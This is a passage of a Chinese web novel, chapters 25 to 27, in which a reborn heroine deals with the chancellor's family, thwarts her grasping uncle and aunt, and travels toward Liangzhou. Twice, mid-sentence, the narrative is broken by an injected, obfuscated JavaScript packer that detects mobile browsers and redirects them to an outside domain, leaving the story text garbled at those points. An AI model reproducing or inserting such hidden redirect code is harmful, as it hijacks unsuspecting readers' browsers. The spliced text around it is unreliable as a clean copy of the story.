陈嘉良望着来人呆愣了片刻,捂着头道:“表姐。” 贺容华越过他走到柳舜华身边,朝她笑了笑,这才转身,“她是我带来的,你要打她,不如连我一起打了如何?” 陈嘉良浑身一抖。 整个相府,他最怕的便是贺容华。 堂姐刚回府那段时日,他嫌弃她出身乡野,一时嘴快,言语中讥讽了她几句。谁料这个表姐二话不说,直接拎起案上的花瓶朝他头上摔去。 事后,她竟还趾高气扬反咬一口,诬他先动手。 姑姑对她有愧,事事顺着她,不由分说将他骂了一顿。 自那以后,他便知晓,贺容华不是他能惹得起的。 陈嘉良垂着头,“不敢,不敢。” 贺容华睨了他一眼,“既如此,那我可要带她走了。” 陈嘉良很识时务地退到一边。 柳舜华也想不了那么多,只先拉过妙灵,跟在贺容华身后。 贺容华经过贺玄晖身边,朝他点头示意,径直离开。 行至拱桥处,几人这才停下。 贺容华笑道:“过了桥,便是东苑,他不会追过来的。” 柳舜华点头,对着妙灵道:“你快些回去伺候老夫人吧,不过,别走小路了。” 妙灵一愕,她怎知她惯走小路。 还有方才,她一下叫出了她的名字,似乎与她极为熟稔,可她却不记得在哪里见过她。 碍于大小姐在,她也不好问,只向柳舜华道谢,一步三回头地离开。 妙灵一走,只余两人,柳舜华摸不清贺容华为何会帮她,一路都在琢磨。 贺容华往桥上走了几步,转头发现柳舜华还呆在原地,便笑着朝她招手,“柳小姐,怎么还不走。” 柳舜华挪了几步,走到桥中,忍不住问:“夫人,您为何要帮我?” 贺容华停下了脚步,柔柔一笑,“还能为什么,自然是为我那不争气的弟弟。” 柳舜华狐疑,“贺玄晖?” 贺容华摇头,“不,是宁儿。” 贺宁,正是贺玄度的名。 25. 第 25 章 贺容华是如今的丞相夫人陈氏的亲生女儿,怎么听起来,似乎与贺玄度关系更亲近。 贺容华知她心中疑虑,笑道:“你不必紧张,今日我过来时,宁儿找过我。他说上巳节长陵侯府的浮霞园内,你与容暄有些不快,让我帮忙留意,免得你被刁难。” 柳舜华心上生暖,怪不得她总感觉贺大小姐有意帮她,原来是贺玄度的意思。 贺容华上下打量着柳舜华,眼带笑意,“宁儿他一向不喜与女子过多亲近,他找上我的时候,我还有些稀奇,到底是怎样的女子,能让他这么混不吝的变得如此细心。今日一看到你,我便明白了。” 柳舜华尤怕给贺玄度惹麻烦,忙道:“贺二公子为人良善,没想到这点小事都记得,倒是麻烦夫人了。” 贺容华看穿她的心思,没有捅破,只是抬头笑了笑,“是啊,宁儿他一直都是个善良的孩子。” 当年籍籍无名的父亲攀上了太常卿,母亲怕她的存在影响了父亲的官运,便将她送到乡下。 收养她的那对夫妻,只当她是个没人要的野种,乡下的日子并不好过。 好不容易苦尽甘来被接回相府,初时父亲和母亲对她还有些愧疚。 他们见她言行粗俗,还想着为她请先生,让她多学学大家闺秀的做派。 她不愿学,依旧我行我素,在一场宴席上错漏百出后,父亲同母亲对她越来越失望,亲弟弟和妹妹们也以她为耻。 她在乡野十几年,一直如此,哪是说变就能变的。 她不明白到底做错了什么,当即收拾行礼,偷偷跑出了相府。 可出了门,却在郊外山林里迷了路,又扭伤了脚。 夜间的山林阴沉可怕,她抱着包裹蹲在地上哭。 她哭了半个时辰,没有等来父亲,更没有等来母亲,却等来了贺玄度。 贺玄度背着她,走回了相府…… 柳舜华看她神情,像是在回忆着什么,也不好接话,只是跟在她后面。 待过了桥,贺容华突然回头,问道:“方才你动手打了陈嘉良?” 柳舜华一顿,心想,到底是她亲表弟,这会怕是要算后账了。 她想了想,道:“实在是我一时心急,我不是……” “打得好!”贺容华打断了她的话。 “陈嘉良那个混账东西,我看他不顺眼许久了。只是我嫁了人,凡事是要顾忌些,不好动手。方才听说你打了他,别提多畅快了,只可惜没看到。” 柳舜华愣了片刻,然后笑了起来。这位贺大小姐,和想象中有点不太一样。 她这离经叛道的样子,同贺玄度还真有些像。 将柳舜华送回宴席,贺容华说要陪祖母说会话,并未一同入席。 柳棠华见柳舜华回来,终于放下心来,“姐姐怎么去那么久,我还以为你出什么事了呢。” 柳舜华一笑,“放心,我没事,只是迷了路。” 柳棠华指着身旁的食盒,兴高采烈,“姐姐你看,我带了好多点心呢,老夫人可真是个大好人。” 有了这些点心,柳棠华很快忘了方才的不快。 丞相夫人同那些贵夫人寒暄了片刻,有些疲倦,便由贺容暄陪着在水榭内小憩。 两人才坐下,丞相夫人眼一瞥,便见柳舜华袅袅而来,忍不住盯着她看了许久。 过了片刻,她对身侧的嬷嬷悄声道:“你去查查,这个柳小姐人品性情如何。” 贺容暄想到近日母亲上心兄长的婚事,猜到她的用意,不由冷哼一声,“母亲,不过是个上不得台面的人,查她作甚?” 丞相夫人压低声音,“你没瞧见,方才你祖母有意向着她?” “不过是祖母碰巧喜欢吃葡萄软糕,她误打误撞罢了。”贺容暄根本不当回事。 丞相夫人摇头,“没有那么简单,方才我瞧得真切,你祖母对她似乎格外喜欢。” 贺容暄不屑,“那又如何?” 丞相夫人叹了口气,“你啊,真以为这相府是我当家做主。我虽管着家,但那些值钱的田产、铺子可都攥在老太太手里。若是不能讨她欢心,将来她安排后事,将值钱的多数都留给那位,哭都没地方哭。” 贺容暄气恼道:“祖母就是偏心那人。” 丞相夫人无奈,“万氏先嫁进来,惯会笼络人心,不知给你祖母灌了多少迷魂汤,让你祖母对我一直心存偏见。这些年,你祖母对我一直不冷不热,我想亲近也没机会。你姐姐倒是讨她喜欢,哎,她那个性子,偏又指望不上。” 提到贺容华,贺容暄眉头一皱,“姐姐她哪里将咱们放在心上,在她眼里,咱们怕是连那个纨绔都比不上。” 丞相夫人拉过贺容暄的手,“那丫头与我有隔阂,我是指望不上她了。曦儿啊,你可要替娘争口气,没事多去你祖母那里,想办法多哄哄老夫人,不能让别人白白捡了便宜。” 贺容暄一脸不耐,“母亲,祖母待我也是不冷不热的,我可不想去那伺候人。再说了,咱们又不缺那点钱,就贺玄度那个样,给他再多,他也得守得住才行。” “曦儿,你也大了,该懂得为母亲分忧了。咱们上上下下这些吃的、穿的,哪里不都要钱,”丞相夫人沉下脸,低声道:“如今府内只是看着光鲜,内里应亏空不少,再不想办法,只能缩减开支了。” 丞相府这些年是积攒了不少家业,可她喜奢靡,不擅打理,又要帮衬着娘家那个无底洞,积年累月,很快便挥霍了个七七八八。 贺容暄哪知道这些,听到亏空,脱口道:“怎么会如此?” 丞相夫人道:“万氏嫁进来时,带了不少嫁妆,还有当时皇上的那些赏赐,都在她名下。当年她病故前,财资悉数交给了老夫人。若算起来,那些都是丞相府的私物,怎能让那纨绔都拿了去。” 贺容暄有些犯难,“母亲,祖母那边,我实在是不行。” 丞相夫人将目光投到柳舜华身上,“我听说,你父亲最近一直想拉拢这位柳小姐的兄长。” 贺容暄明白母亲的意思,“母亲糊涂,她这等身份,也配进咱们相府。” 丞相夫人沉下脸,“什么身份,难道当初我的身份就高了吗?依你的意思,非要她刘妉柔这样的才行?” 听母亲提到刘妉柔,贺容暄瞬间明白她为何不悦。 平阳王王妃,也就是刘妉柔的母妃,仗着自己出身高贵,一向对母亲多有轻视,每逢相交,必话里话外暗示母亲的出身。 她忙道:“母亲,任她刘妉柔再怎么高贵,若想嫁进来,不还是要看您的意思。” 丞相夫人嘴角一勾,“若是你兄长娶到一个贤妇,既能帮到你父兄,又能讨好你祖母,还能顺便羞辱一下平阳王府,一箭三雕,岂不让人痛快。” 柳舜华坐定,不见丞相夫人与贺容暄,心情顿时大好。 同柳棠华静坐在一旁,只等宴饮结束,早些与兄长回府。 两人正坐得有些无聊,便听到一阵议论。 “你们听说了吗,就在方才,陈家公子落水了。” “陈家公子,是哪个?” “陈嘉良啊。” 立时有人嗤笑一声,低声道:“他落水就落了,有什么要紧的。” 果如上辈子一样,陈嘉良落了水,只是时间提前了一点而已。 柳舜华听到,掩住笑意,转头问:“怎么好端端的落水了?” 有人轻笑:“说起来这个才好笑呢,竟有人说是大公子将陈嘉良推下了水。” 贺容暄不知什么时候走了过来,听到此处,她怒呵一声,“你们乱嚼什么呢,我兄长怎么可能做这种事?” 那名贵女不防贺容暄会过来,小声道:“我们自然都是不信的。是陈公子自己说的,我堂弟就在场,他亲耳听到的。” 贺容暄眉头紧锁,咬牙道:“这个陈嘉良,定是他喝醉了酒,胡乱攀咬。敢败坏我兄长名声,看我回头不撕烂他那张臭嘴。” 若说贺玄晖将陈嘉良推下水,柳舜华自是不信。 虽说陈嘉良酒后无状,出言得罪了他,但依着贺玄晖的性子,此等小事,他必不会放在心上。何况就算他再不喜陈嘉良,到底也是他表兄。他一贯知礼守节,最是清高,怎么可能推陈嘉良下水。 她并不关心陈嘉良如何落水,只当这是恶有恶报。 苦熬到宴席结束,柳舜华忙拉着柳棠华告辞,等着柳桓安一同回府。 马车很快驶出相府前的大路,柳舜华看着府门前的垂柳一步步退后,退后,退成一团云雾,慢慢消散。 贺玄晖,丞相夫人,贺容暄,一张张脸从她脑海中慢慢抹除…… 三人才下了马车,芳草便迎了上来。 贺玄晖见过芳草,为了不被认出,芳草便没跟去。 “少爷,小姐快去看看吧,二爷还有二奶奶正在老爷那闹呢。” 柳桓安连日操劳,晚间受了风寒,今日又饮不少酒,止不住咳了几声,“又闹什么呢?” 芳草道:“说是少爷小姐不顾兄妹之情,在相府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761490|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门前让蔓华小姐难堪。” 柳棠华一听,气道:“那是她自找的,不去反思,反倒过来闹。” 柳舜华无奈看向柳桓安,“兄长,走吧。” 正厅内,柳奉被两人吵得头疼,正摸着额头皱眉不语。 见三人走了过来,葛氏指着他们嚎了起来,“你们三个没良心的,竟让萋萋在府门前受尽委屈,你们好狠的心啊。” 柳仁跟着端起长辈的架子,“桓安,你是兄长,你说说怎么回事,怎么能看着自家妹妹受委屈呢?” 三人回府,尚未歇息,便被劈头盖脸一通指责,柳桓安心内已是有所不满。 他咳嗽几声,语气已有几分疏离,“二叔,叔母,若是我没记错,相府并未邀堂妹吧?” 柳仁见他如此,气得摇头,转向柳奉道:“老大这才高升,就摆起款了。自家妹妹不过是想跟着见见世面,人都到门口了,却被他不管不顾地给撵了回来。” 葛氏也跟着道:“萋萋也就是想和兄妹们多亲近亲近,却被这般羞辱,回家后哭得泪人一般。大哥您评评理,这日后,咱们两家还要不要来往?” 平日里,柳奉虽对这个二弟百般忍让,可却也不糊涂。 他沉声道:“二弟,弟妹,话都让你们说了,能不能先安安静静听听孩子们怎么说。” 柳仁与葛氏互相看了一眼,只能闭嘴。 柳桓安站定,慢条斯理道:“二叔,叔母,萋萋是如何说的,怎么你们就认定我们任由她受羞辱,袖手旁观了呢?” 他根本不往他们设的圈套里钻,反而将话题抛回给他们。 柳舜华忍不住暗自叫好,要说条理清晰,还得是兄长。 葛氏从未与柳桓安打过交道,平日里见他和和气气,便以为是个好对付,没想到他嘴上功夫竟也不弱。 柳仁愣了一下,思忖片刻,缓声道:“萋萋倒也没说什么,只是高高兴兴地去,回来哭得不成样子。我们怎么问,她都不肯说,只说在相府门前丢尽了颜面,再无脸见人了。” 这个二叔,一向喜欢避重就轻,最是个人精。 柳奉早被他们吵得又些不耐,听到此处,笑道:“原来如此,二弟,这其中必定是有误会。我看,你们还是先回去,问清缘由吧。” 葛氏脸色一僵,“大哥,你这是什么意思?是要包庇他们吗?萋萋难道不是他们的妹妹,不管什么缘由,任由妹妹在外受委屈,难不成还有理了。” 柳桓安气极,还未及辩白,又忍不住咳了几声。 这个叔母,今日在父亲面前尚且如此不分青红皂白,素日里还不知怎么苛待舜华与棠华。 他冷声道:“叔母,您这话说得不妥。我们兄妹并非犯了什么大罪,何需父亲包庇?” 柳仁见柳桓安变了脸色,忙道:“你叔母一时心急,说错了话,可她到底是长辈,你如此言辞疾厉,眼里还有没有长辈?” 柳舜华心内不屑,二叔与叔母还真是,不是一家人不进一家门。 每次站不住理,便会拿出长辈的架势来摆谱。 二叔一家,惯会吸血,每次过来闹,无非是想得到些好处。 这次他们东拉西扯,绝口不提此行的目的。 应是想寻个契机,以便顺理成章地提出来。 她冷眼旁观了许久,决定助他们一臂之力,早点结束这场闹剧。 柳桓安极重礼仪,拉不下脸面与二叔对峙,气得他又咳了起来。 柳舜华上前,站在柳仁面前,“二叔,您这么说,实在有失公允。难道不是叔母指责在先,兄长才做辩白。不过辩白几句,便被二叔说得如此不堪。二叔此举,落在外人眼里,才是包庇呢。” 柳仁被小辈驳了面子,脸上有些挂不住:“你……你个黄毛丫头,竟敢当面顶撞你叔父?真是反了天了!” 柳舜华恭敬道:“二叔,您总是这样随意指责,让人看了,难免有闲言碎语,说您没有疼惜晚辈的样子,我可不能让您担这么一个名声,我这分明是在维护您呢。” 柳仁站起身来,神情激动,“大哥,您就这么看着,让几个小辈如此放肆?” 柳舜华望向柳奉,见他面上似有所为难。 说到底,二叔敢在他们柳府如此行事,不过是仗着父亲对他的疼爱。 他毕竟是父亲从小看到大的幼弟,有难以割舍的亲情。 即便这次能顺利解决,难保不会有下次。 柳舜华心一狠,当断则断。今日,她必须要让父亲做个决断。 26. 第 26 章 柳舜华扑通一声跪在地上,“二叔,千错万错,都是侄女的错,您莫要逼我父亲。他还在病中,实在经不起您这样折腾。” 柳棠华一见柳舜华跪下,虽不明就里,还是跟着跪了下来。 柳仁傻眼了,他不过是想借机讨点好处,哪曾想两个侄女就这么给他跪下了。如此一来,岂不真坐实了他苛待晚辈的名声。 柳桓安看两个妹妹跪了下去,心内已是恼到极点。 他上前急道:“父亲,蓁蓁她们到底做错了什么,要让她们这么跪着?” 柳奉愈加不满,面上尽量维持平静,他凝眉道:“蓁蓁,芊芊,地上凉,你们快些起来。” 柳舜华起身,对着柳仁道:“二叔,方才我一时口不择言,请二叔莫要与侄女计较。还有,萋萋妹妹之事,的确是我们思虑不周。” 她转头望向葛氏,语气诚恳,“叔母,我们要做些什么,才好让萋萋妹妹不那么伤心难过?” 葛氏素日里拿捏惯了柳舜华,不知她心底的盘算,只当她上套了,当即喜笑颜开,“你们也知道,蔓华与府尹家公子的亲事黄了,这说到底,还是你叔父不争气,官位不高,门第不够。” 她笑道:“大哥,你看老大如今不但深受圣上信任,还被相府邀去参加寿宴,不如让他出面,给你二弟寻个正经的官做做如何?” 柳舜华虽早知叔母德行,也是震惊不已,她还真是敢想。 柳桓安也惊呆了,叔母这是疯了不成,如此无礼的请求,也说得出口。 柳奉脸上愈加难看,他看向柳仁,淡声道:“二弟,这也是你的意思?” 柳舜华幼时最是顽皮,不少惹父亲生气。 她了解父亲,此刻他已是愤怒的边缘,就看二叔能不能将这把火燃起来了。 柳仁在柳奉那里,一向求仁得仁,当即点头道:“大哥,萋萋一连遭受这么些委屈,我看着实在心疼。总不能因为我,耽误了她的大好姻缘吧。再说,我若得了官,咱们同气连枝的,你面上也有光不是。” 柳奉再忍不下去,一掌拍在桌上,杯盏晃动叮当作响。 “一派胡言。柳仁,这话你也说得出口。你的女儿是女儿,我的儿子便不是儿子?你竟要为你女儿的姻缘,去毁我儿前程?” 柳仁头一回见柳奉发这么大火,愣了片刻,慌忙道:“大哥误会了,我一向对大哥恭敬,对老大怜爱,我这么做,都是为了咱们柳家,怎么会断送老大的前途呢?” 柳奉懒得再与他周旋,冷笑一声,“为了柳家?这些年,你为了柳家做了什么?” 柳仁下意识想要反驳,可嘴一张开,却发现根本无话可说。 柳奉揉着头,“你口口声声说对老大怜爱,可自打老大进屋,脸色苍白,咳个不停。你作为叔父,只一味责怪于他,可曾关心过他一句。” 他满脸失望,“我今日身体欠佳,已是强撑着起来,蓁蓁方才亦提醒过你,我尚在病中,你……” 柳仁并非没心,当即羞愧得低下头。 柳奉叹了一口气,狠下心来,“还有,方才我一直不好说,总觉得说了,显得有失偏颇,又伤了咱们兄弟的情分。既然话都说到这个份上,索性一起说了吧。” “你家萋萋是个金贵的,可蓁蓁与芊芊,也是自幼被我捧在手心。两个小丫头一时说错了话,你一个做叔父的,竟逼得她们下跪。二弟,你将我这个做父亲的置于何地啊?” “幼时父母身体有损,人道长兄如父,我便担着照看你的责任。我亲自喂养你,读书习字都带着你。成年后,我外放为官,心中挂念着你,担心你吃不好睡不好,每隔一段时日便休书一封于你,连同我那些俸禄兑换的钱财,全都供你读书之用。这些年,我处处以你为先,事事为你着想,何曾亏待过你。” “二弟啊,我做这些,从不曾希望得到什么回报。可你,怎么就是不知足呢?” 柳奉越说越伤心,越说越失望,将这些年压的心头的委屈全倒了出来。说到最后,已是潸然泪下。 柳仁本就羞愤难当,又见兄长说到痛处流下泪来,不顾葛氏在旁眼神暗示,捂脸道:“兄长,别说了。我错了,都是我的错,是我让兄长失望了。” 柳奉拖着病体,早已精疲力竭,他缓缓闭上双目,“二弟,我累了,要歇下了。你也,请回吧。” 说罢,他踉跄起身,脚步虚浮,柳桓安兄妹上前,扶着他出了正厅。 一场闹剧落幕,柳仁与葛氏第一次从柳府空手而归。 送完父亲回房,又与柳棠华煮了姜汤端给兄长,柳舜华才得以喘口气。 柳棠华尚有些兴奋,赖在柳舜华屋里不肯走。 “姐姐,今日真是痛快。我原本还以为,父亲要怪罪我们呢,没想到,父亲竟会同叔父说那样的话。” 她越说越激动,“苍天有眼,总算让父亲看到了他们的嘴脸。以后,我再不担心她们过来抢我的东西了。” 柳舜华摸了摸膝盖,这一跪,跪得值了。 柳棠华沉默了片刻,抬头道:“姐姐,你是故意跪下的吗?” 柳舜华看向柳棠华,清澈的眼神中夹杂些许懵懂。 她揉了揉棠华的头:“你都看出来了,看来这些日子长进了不少。” 柳棠华听到柳舜华夸赞,乐不可支,“其实一开始跟着跪下的时候,我也有些疑惑,怎么姐姐前些日子将叔母杀得片甲不留,今日这么容易就下跪认输。后来,看到他们一时得意露出真面目,我才明白,姐姐这是引他们入局。” 柳舜华笑道:“你这都是从哪里学来的词,打打杀杀的。” 柳棠华仰起头,“我听说书的说的啊,高祖起义的故事。高祖出身草莽,生性豁达,胸怀大志。时值前朝苛政致中原疲敝,百姓流离失所,高祖聚众而反。初时,高祖实力尚不足,暂居一隅,暗中积蓄势力,待时机成熟,一举攻破长安,杀昏君,夺天下。” 柳舜华笑道:“听书能听出门道,你倒是机灵。你说说,这次你都看出了什么?” 柳棠华想了想,“我也是在父亲发怒后,才想明白的。若是放在平日里,二叔与叔母瞅准时机,直接说出那些话,或许父亲顶多驳斥他几句了事。可今日,他们选的时机却不对。而这个时机,似乎是姐姐引导的。” 柳舜华有心点她,缓缓道:“有时候,谦卑反致祸,只会让对方变本加厉地索取;可有时候,若一味冒进,非但达不到自己想要的结果,反会适得其反。暂退一步,因势利导,反占先机。” 柳棠华好像有些明白了,“姐姐,我好像懂了。就像相府门前,贺二公子直截了当,轻而易举地让萋萋妹妹不敢再纠缠;方才厅内,姐姐以退为进,顺利摆脱了二叔他们的无理取闹。” 听到柳棠华提到贺玄度,柳舜华心下一动,不觉笑了,“你说得没错,差不多是这个意思。你可要记住,日后万不可被人欺负了去。” 柳棠华抱住柳舜华的手臂,“有姐姐在,谁能欺负我。” 柳舜华垂头看着她,沉默半晌,问道:“棠华,若是有朝一日,你能过人上人的生活,但要舍弃如今的安逸,你愿意吗?” 柳棠华仔细想了一下:“人上人,像那个贺小姐一样吗?” 柳舜华:“差不多吧。” 柳棠华摇摇头,“我不喜欢,相府虽然轩峻壮丽,但这也不能吃,那也不能吃,规矩太多,无趣得很。” 她甜甜一笑,“我觉得像现在这样,有兄长与姐姐陪着,就是最好的。” 十五岁的棠华,还没有身为皇后的端庄沉静,稚嫩的脸上带着几分娇憨,眉眼格外灿烂,宛似院中精心呵护的山茶花。 她多想,棠华能一直这么无忧无虑。 上辈子,人人都说他们柳家烧了高香,生了两个女儿,一个是皇后,一个是相府长媳。 可前世,她和棠华都未能善终。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777641|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她被束缚在相府,度日如年,最终自焚而亡。 而棠华,也自有她的苦处。 新帝登基,棠华被册立为后。为替毫无根基的新帝拉拢可用之人,棠华尽其所能与朝中贵妇周旋,呕心沥血。两年后因生产不顺,便早早撒手人寰。 棠华在时,新帝对她百般宠爱不假,可她去世不足三月,新帝一见贺容暄,便惊为天人,当即将亡妻忘得干干净净,火速册立贺容暄为后,唯恐冷落佳人。 棠华为新帝熬干了自己,却是这个下场。 柳舜华替妹妹不值。 她本是天真娇憨的女孩儿,却在权力倾轧中不得不收了心性,与后宫嫔妃,朝中权贵争来斗去。她想,若是棠华嫁与普通人家,是不是会快乐些。 柳舜华轻轻摸着柳棠华的头,这辈子,她定会竭力避开棠华与新帝刘九生的相遇。 …… 立夏后,桐花繁茂到极致,大朵大朵紫色的花沉甸甸开在枝头,极尽春日最后的绚烂。 柳棠华捡了许多掉落的桐花堆在廊下,柳舜华闲来无事,一边串着花串打发时间。 花串还未串完,芳草便气冲冲走了进来。 “小姐还有闲心串花呢,简直气死人了。” 柳舜华边串边问:“什么事这么生气?” 芳草忿忿道:“还不是葛氏,原以为她消停了点,没想到憋着坏呢。” 柳棠华不解,“这几日未见叔母过来啊?” 芳草四下瞅了一眼,这才低声道:“方才我碰到了隔壁院的一个姐妹,她同我说,昨日她们那里来了一位贵人,悄悄向葛氏打听小姐你。” 柳舜华一愣,“打听我?” 芳草点头,“正是。我那小姐妹说,那妇人看起来非富即贵,张口便问小姐你年龄性情。” 柳舜华骤然紧张起来,这个时候来打听她,还问年龄性情,多半是有求亲之意。若她猜得不错,这个人多半是丞相府的人。 芳草兀自生着闷气,“葛氏对着来人,竟说小姐你牙尖嘴利,不知尊卑,行为粗鄙。总之,将小姐贬个一文不值,你说气不气人。” “哦。”柳舜华微微挑眉,“那可真是太好了。” 有叔母这般说辞,再加上贺容暄对她的敌意,丞相夫人对她就算不死心,恐怕也会多掂量掂量。 芳草看着柳舜华,“小姐,你是气傻了吧,葛氏如此诋毁你,你还说好?” 柳舜华一笑,将最后一朵桐花穿起,“不管来人是谁,能打听到叔母那里,必然同她关系密切,都是一丘之貉,管他作甚。” 虽是这么说,可她清楚,丞相夫人能暗自打听,必是得到贺丞相的默许。贺留善之所以看重她,无非就是因为兄长。 诸侯接待事宜,鸿胪寺办得极为妥帖,皇上对兄长愈加看重,近日更是频频召见。皇上欲培养兄长之心,贺丞相必然已知晓,断然不会轻易放弃拉拢。 总之,贺玄晖一日不成亲,丞相府便有可能再将主意打到她头上。如今这个节骨眼上,她要想办法避避风头才行。 柳舜华正想着,便看到柳桓安手里握着一封信,大步跨了进来。 柳桓安举着信,笑道:“舅舅来的信。” 柳舜华起身,迫不及待问道:“信上都说了什么?” 柳桓安将信递过去,“大约是外祖念咱们念得紧,舅舅这才来信询问,让咱们若是得空,别忘了回凉州一趟。” 柳舜华将信展开,仔仔细细看了个遍,心内百感交集。 前世,自离开凉州来到长安,她便再也没有回去过。 接到这封信的时候,柳府正忙着筹备她与贺玄晖的婚事。 距她的婚礼尚不足四个月,她只得让兄长回信,告知外祖大婚在即,脱不开身。 后来嫁进相府,回家尚且不便。凉州,哪里又回得去呢。 柳舜华攥紧手中的信,“兄长,我要回凉州。” 27. 第 27 章 四月初,雨后新霁,迎着一路的桐花,柳舜华出发了。 兄长本想一同前往,奈何事务烦身,只得作罢。 出了长安城,一路山花烂漫,田间芸薹花金黄一片,微风轻拂,吹起层层金浪,浓郁的花香飘散一路,引来蜜蜂嗡嗡忙碌。 柳棠华趴在窗口,看得入神。 此次凉州之行,柳舜华特意带了柳棠华出来。 据上辈子棠华的自述,她与刘九生相识于元始六年四月,那刘九生此时应在长安。 此去凉州,归来怎么也要五月,如此一来,棠华定能避开他。 “姐姐,凉州是什么样子的,还有,外祖他们会不会不喜欢我啊?” 柳棠华第一次出远门,激动之余,又有些忐忑。 柳舜华嘴角含笑:“凉州啊,有望不到头的高山,青翠苍茂的草原,遍地的牛羊在山野间奔走。有茫茫的大漠,夜里漫天的星光,亮晶晶的。有胡人弹着琵琶,舞姬跳着异域舞。若是赶上炎夏,还有甜甜的葡萄和瓜果吃。” “至于外祖他们,你更不用担心。你是我妹妹,他们会像待我一样待你。” 马车走走停停,颠簸了几日,柳棠华早已没了出行的兴致,到了客栈倒头便睡。柳舜华安排好车夫,整理了行囊,才回房。 客栈临近金城津,夜间风声呼啸,水声涛涛。 柳舜华躺在简陋的木床上,听着风拍打着窗子的声音,难以入眠。 上辈子她一直想做的事,就是逃离相府,离开长安,投赴山海。而今她真正做到了,却又有种不切实际的虚无感。 风突然吹熄了烛火,房内顿时陷入一片黑暗。一瞬间,她感受到前所未有的恐慌,有种前路未知的莫名恐惧。 柳棠华翻了个身,嘴里说着梦话,“姐姐,到了叫我。” 柳舜华突然笑了,近乡情怯,她大约是太紧张了吧。 天光穿破云层,黑暗潮水般退却,四周一下热闹起来。 柳舜华被叫闹声吵醒,拍醒柳棠华一起下楼吃早饭。 两人起得有些晚,到楼下时,只余寥寥几人。 店家得闲,仔细打量了一下,看她们两人皆是女子,身边并无随行男子,问道:“两位小姐,这是要去往何处啊?” 柳棠华心无城府,爽快道:“我们去凉州探亲,听说那里可美了。” 店家眉头一皱,提醒道:“凉州?我劝两位小姐还是再等等吧,祁连山一带最近在闹贼匪,好多个过往商队都被劫了。” “如今是太平盛世,怎么会有贼匪,官府就不管吗?”柳舜华不解。 店家道:“这伙贼匪不知道是从哪里突然冒出来的,手段凶残,不但劫财还伤人呢。官府在山间四处搜寻了多日,并不见踪影,也就作罢了。现下正是风口上,我看两位小姐还是等些时日再去不迟。” 柳棠华有些害怕,“姐姐,怎么办?” 柳舜华也有些踌躇,她也是头一回碰到这样的事,一时难以抉择。 “店家怕是不知道吧,祁连山下的贼匪前些日子就被抓了。” 一个妇人站起身,不住走动着哄着怀中啼哭的小娃娃。 店家有些不信,“什么时候的事?” 一旁妇人的丈夫笑了两声,“就是三日前,万都尉亲自带人抓的。” 听到万都尉,店家立即笑道:“原来如此,万都尉出手,自然是稳妥的。” 柳舜华眸光一闪,贺玄度外祖家正好也姓万。 贺玄度外祖,前太常卿万慈,出身凉州。先皇崩逝后,他便以年迈为由,远离京城,携家返回凉州。 也不知这个万都尉,与贺玄度有无关系。 那汉子大笑道:“就算没被抓,其实也不怕的,这批贼匪专劫商队,尤其是过往胡商,像我们这种赶路探亲的,只怕也入不了他们的眼呢。” 店家却不赞同,“小心驶得万年船,还是稳妥些好。” 柳棠华听到他们也去探亲,搭话道:“大嫂,你们去哪里探亲?” 妇人笑道:“去凉州,带着孩子去见见他外祖。” 柳棠华大喜:“这么巧,我们也是去凉州看望外祖。” 柳舜华初时尚有几分戒备,听到他们也是带孩子去看外祖,不由朝妇人怀中的小娃娃望去。 尚在襁褓中的小婴儿,生得虽弱,一双大眼骨碌碌地转,睫毛扑闪着,十分惹人怜爱。 待用过早饭,两人上楼收拾行囊,准备继续前行。 柳棠华嘀咕道:“真是人心难测,方才险些被店家骗了,不然又要留宿一晚,多付一晚房钱。” 柳舜华也早就迫不及待,催促道:“快些收拾吧。” 二人下了楼,车夫赶了马车过来,柳舜华与柳棠华方准备上车,就见不远处一辆牛车驶来。 赶车的是客栈里的那个汉子,车上坐的正是抱孩子的妇人。 柳舜华对他们点头示意。 柳棠华冲着他们挥了挥手,“大嫂,咱们同去凉州,正好可以作伴呢。” 抱孩子的妇人笑道:“正是呢,人多热闹,一路上也不闷。” 过了金城关,前面便是凉州城,约摸五六个时辰便能抵达。 柳棠华一路上叽叽喳喳,让那妇人给她讲些乡野趣事。吵吵闹闹着,已行了一半路程。 日头渐渐西斜,车夫看了看天色,忍不住低声提醒道:“小姐,那辆牛车太慢,咱们若是想要在天黑前进城,要加快一些才行,不然恐怕要露宿一晚了。” 柳舜华不想一路太过招摇,此次随行并未带家仆。兄长便亲自去了车行,挑选了个年富力强又经验老到的车夫。 柳舜华想了想,决定听车夫的话,进城要紧。 她对着两夫妇道:“大哥,大姐,我们还有些事,恐怕要先行一步了。” 两夫妇相视一望,那汉子脸上露出窘迫来,“我们牛车的确慢了些,若是想要早些进城,是要再加快些才行。” 柳棠华依依不舍与他们道别,顿觉无聊,收回探了一路的小脑袋,老老实实地坐着。 马车行得快了起来,风吹着帘子猎猎作响。 柳舜华方想靠着车壁打个盹,便听到风里传来一阵婴儿的啼哭声。 她自幼耳聪目明,听声音格外清晰一些。 荒山野岭,哪里来的婴儿哭声? 柳舜华心下好奇,撩开车帘往后一望,只见方才那辆牛车已经渐渐追了上来。 她稍一琢磨,顿觉不妙,对着车夫急道:“大哥,快些,不要让后面的牛车追上。” 车夫走南闯北,尽管不知她因何慌张,但听到牛车,还是觉出一丝不对。 他抓紧缰绳,“小姐坐稳些。” 马蹄飞快踏过山路,声声似鼓,催人心慌。 